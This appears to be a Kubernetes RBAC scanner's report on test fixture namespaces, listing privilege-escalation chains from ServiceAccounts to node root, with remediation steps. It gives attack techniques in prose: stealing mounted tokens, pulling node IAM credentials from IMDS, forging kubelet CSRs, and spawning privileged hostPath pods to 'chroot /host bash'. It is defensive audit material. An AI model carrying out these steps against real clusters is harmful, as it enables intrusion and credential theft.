A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/rbac-fixtures/sa-wildcard.
  2. Acting as ServiceAccount/rbac-fixtures/sa-wildcard, the attacker uses the node_drain_migrate technique via delete pods + update nodes/status, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/rbac-fixtures/sa-wildcard
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/rbac-fixtures/sa-wildcard → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/rbac-fixtures/sa-wildcard → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/secrets-bundle/cross-ns-reader Cluster 8.5
ServiceAccount/secrets-bundle/cross-ns-reader can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/secrets-bundle/cross-ns-reader → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/secrets-bundle/cross-ns-reader

Subject ServiceAccount/secrets-bundle/cross-ns-reader has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/secrets-bundle/cross-ns-reader → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod secrets-bundle/cross-ns-consumer-6c945c9c9d-blz86 falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/secrets-bundle/cross-ns-reader yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/secrets-bundle/cross-ns-reader.
  2. Acting as ServiceAccount/secrets-bundle/cross-ns-reader, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod secrets-bundle/cross-ns-consumer-6c945c9c9d-blz86 falls back to node IAM role via IMDS.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/secrets-bundle/cross-ns-reader
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod secrets-bundle/cross-ns-consumer-6c945c9c9d-blz86 falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/secrets-bundle/cross-ns-reader → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/secrets-bundle/cross-ns-reader → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/statusspoof-fixtures/default Cluster 8.5
ServiceAccount/statusspoof-fixtures/default can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/statusspoof-fixtures/default → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/statusspoof-fixtures/default

Subject ServiceAccount/statusspoof-fixtures/default has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/statusspoof-fixtures/default → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod statusspoof-fixtures/statusspoof-api-ff8647558-st88g falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/statusspoof-fixtures/default yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/statusspoof-fixtures/default.
  2. Acting as ServiceAccount/statusspoof-fixtures/default, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod statusspoof-fixtures/statusspoof-api-ff8647558-st88g falls back to node IAM role via IMDS.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/statusspoof-fixtures/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod statusspoof-fixtures/statusspoof-api-ff8647558-st88g falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/statusspoof-fixtures/default → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/statusspoof-fixtures/default → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/rbac-fixtures/sa-token-create Cluster 8.3
ServiceAccount/rbac-fixtures/sa-token-create can reach node escape (host root) in 2 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-token-create → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-token-create

Subject ServiceAccount/rbac-fixtures/sa-token-create has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (2 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/cert-manager/cert-manager via token_request (create serviceaccounts/token): can mint tokens for ServiceAccount cert-manager/cert-manager
2. ServiceAccount/cert-manager/cert-manager → / via node_drain_migrate (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/rbac-fixtures/sa-token-create yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/rbac-fixtures/sa-token-create.
  2. Acting as ServiceAccount/rbac-fixtures/sa-token-create, the attacker calls the serviceaccounts/token subresource (create serviceaccounts/token) to mint a fresh, valid token for ServiceAccount/cert-manager/cert-manager. No pod creation required, and a thinner audit trail than the pod-mount route.
  3. Acting as ServiceAccount/cert-manager/cert-manager, the attacker uses the node_drain_migrate technique via delete pods + update nodes/status, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  4. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/cert-manager/cert-manager
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount cert-manager/cert-manager
  2. Step 2 of 2 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission create serviceaccounts/token that enables the first hop (ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/cert-manager/cert-manager).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission create serviceaccounts/token that enables the first hop (ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/cert-manager/cert-manager).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/deepchain-tenant/deepchain-binder Cluster 8.2
ServiceAccount/deepchain-tenant/deepchain-binder can reach node escape (host root) in 3 hop(s)
Scope · Cluster Source ServiceAccount/deepchain-tenant/deepchain-binder → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/deepchain-tenant/deepchain-binder

Subject ServiceAccount/deepchain-tenant/deepchain-binder has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (3 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/deepchain-tenant/deepchain-binder → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the bind verb that satisfies RBAC escalation prevention
2. ServiceAccount/deepchain-tenant/deepchain-binder → ServiceAccount/deepchain-tenant/deepchain-privileged via colocated_sa_token_theft (namespace-admin in deepchain-tenant): can steal the token of co-located ServiceAccount deepchain-tenant/deepchain-privileged
3. ServiceAccount/deepchain-tenant/deepchain-privileged → / via node_drain_migrate (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/deepchain-tenant/deepchain-binder yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/deepchain-tenant/deepchain-binder.
  2. Acting as ServiceAccount/deepchain-tenant/deepchain-binder, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  3. Acting as ServiceAccount/deepchain-tenant/deepchain-binder, the attacker uses the colocated_sa_token_theft technique to reach ServiceAccount/deepchain-tenant/deepchain-privileged via namespace-admin in deepchain-tenant, which gains can steal the token of co-located ServiceAccount deepchain-tenant/deepchain-privileged.
  4. Acting as ServiceAccount/deepchain-tenant/deepchain-privileged, the attacker uses the node_drain_migrate technique via delete pods + update nodes/status, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  5. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Step 1 of 3 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention
  2. Step 2 of 3 Co-located ServiceAccount token theft colocated_sa_token_theft

    Administrative control over a namespace implies control over every identity inside it. Someone who can create RoleBindings in a namespace can create a pod that mounts any ServiceAccount there, exec into a pod already running as it, or read its token Secret directly.

    This matters when a namespace hosts an identity more powerful than the namespace itself, for example a controller whose ClusterRoleBinding grants cluster-wide permissions. Namespace-admin then becomes a stepping stone rather than a boundary.

    From ServiceAccount/deepchain-tenant/deepchain-binder → ServiceAccount/deepchain-tenant/deepchain-privileged
    Permission granted namespace-admin in deepchain-tenant
    Gives the attacker can steal the token of co-located ServiceAccount deepchain-tenant/deepchain-privileged
  3. Step 3 of 3 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/deepchain-tenant/deepchain-privileged
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 1 (ServiceAccount/deepchain-tenant/deepchain-binder → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 1 (ServiceAccount/deepchain-tenant/deepchain-binder → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/nodeid-fixtures/nodeid-joiner Cluster 8.2
ServiceAccount/nodeid-fixtures/nodeid-joiner can reach node escape (host root) in 3 hop(s)
Scope · Cluster Source ServiceAccount/nodeid-fixtures/nodeid-joiner → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/nodeid-fixtures/nodeid-joiner

Subject ServiceAccount/nodeid-fixtures/nodeid-joiner has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (3 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/nodeid-fixtures/nodeid-joiner → / via csr_nodeclient_autoapprove (create certificatesigningrequests + create certificatesigningrequests/nodeclient): can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
2. ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/foothold-exec/foothold-decoy-sa via node_token_request (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there
3. ServiceAccount/foothold-exec/foothold-decoy-sa → / via node_drain_migrate (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/nodeid-fixtures/nodeid-joiner yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/nodeid-fixtures/nodeid-joiner.
  2. Acting as ServiceAccount/nodeid-fixtures/nodeid-joiner, the attacker submits a CertificateSigningRequest for the kubernetes.io/kube-apiserver-client-kubelet signer naming system:node:<name> in system:nodes (create certificatesigningrequests + create certificatesigningrequests/nodeclient). The controller manager's CSR approver asks the API server whether the requester may create certificatesigningrequests/nodeclient; it may, so the CSR is approved and signed with no human step. Nothing ties the node name to the requester, so the certificate is a kubelet identity for any node the attacker names.
  3. Holding a node identity, the attacker requests a token for ServiceAccount ServiceAccount/foothold-exec/foothold-decoy-sa through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as ServiceAccount/foothold-exec/foothold-decoy-sa.
  4. Acting as ServiceAccount/foothold-exec/foothold-decoy-sa, the attacker uses the node_drain_migrate technique via delete pods + update nodes/status, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  5. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Step 1 of 3 Kubelet CSR auto-approval: a node identity for any name csr_nodeclient_autoapprove

    Kubelets get their client certificates by submitting a CertificateSigningRequest that names system:node:<name> in the group system:nodes. The controller manager approves such a request by itself when a SubjectAccessReview says the requester may create certificatesigningrequests/nodeclient. It does not compare the node name to the requester, nor check that the node exists.

    Whoever holds that subresource together with create certificatesigningrequests therefore gets a signed kubelet identity for any node name, and the Node authorizer grants that identity the ServiceAccount tokens and referenced Secrets of every pod on the named node. kubeadm binds the pair to its bootstrap group, which is the designed use.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner
    Permission granted create certificatesigningrequests + create certificatesigningrequests/nodeclient
    Gives the attacker can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
  2. Step 2 of 3 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there
  3. Step 3 of 3 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission create certificatesigningrequests + create certificatesigningrequests/nodeclient that enables the first hop (ServiceAccount/nodeid-fixtures/nodeid-joiner → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission create certificatesigningrequests + create certificatesigningrequests/nodeclient that enables the first hop (ServiceAccount/nodeid-fixtures/nodeid-joiner → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/foothold-ops/foothold-named-execer Cluster 8.1
ServiceAccount/foothold-ops/foothold-named-execer can reach node escape (host root) in 2 hop(s)
Scope · Cluster Source ServiceAccount/foothold-ops/foothold-named-execer → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/foothold-ops/foothold-named-execer

Subject ServiceAccount/foothold-ops/foothold-named-execer has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (2 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/foothold-ops/foothold-named-execer → ServiceAccount/foothold-exec/foothold-reader via pod_exec (create pods/exec|pods/attach): can exec into pods running as ServiceAccount foothold-exec/foothold-reader
2. ServiceAccount/foothold-exec/foothold-reader → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod foothold-exec/foothold-target falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/foothold-ops/foothold-named-execer yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

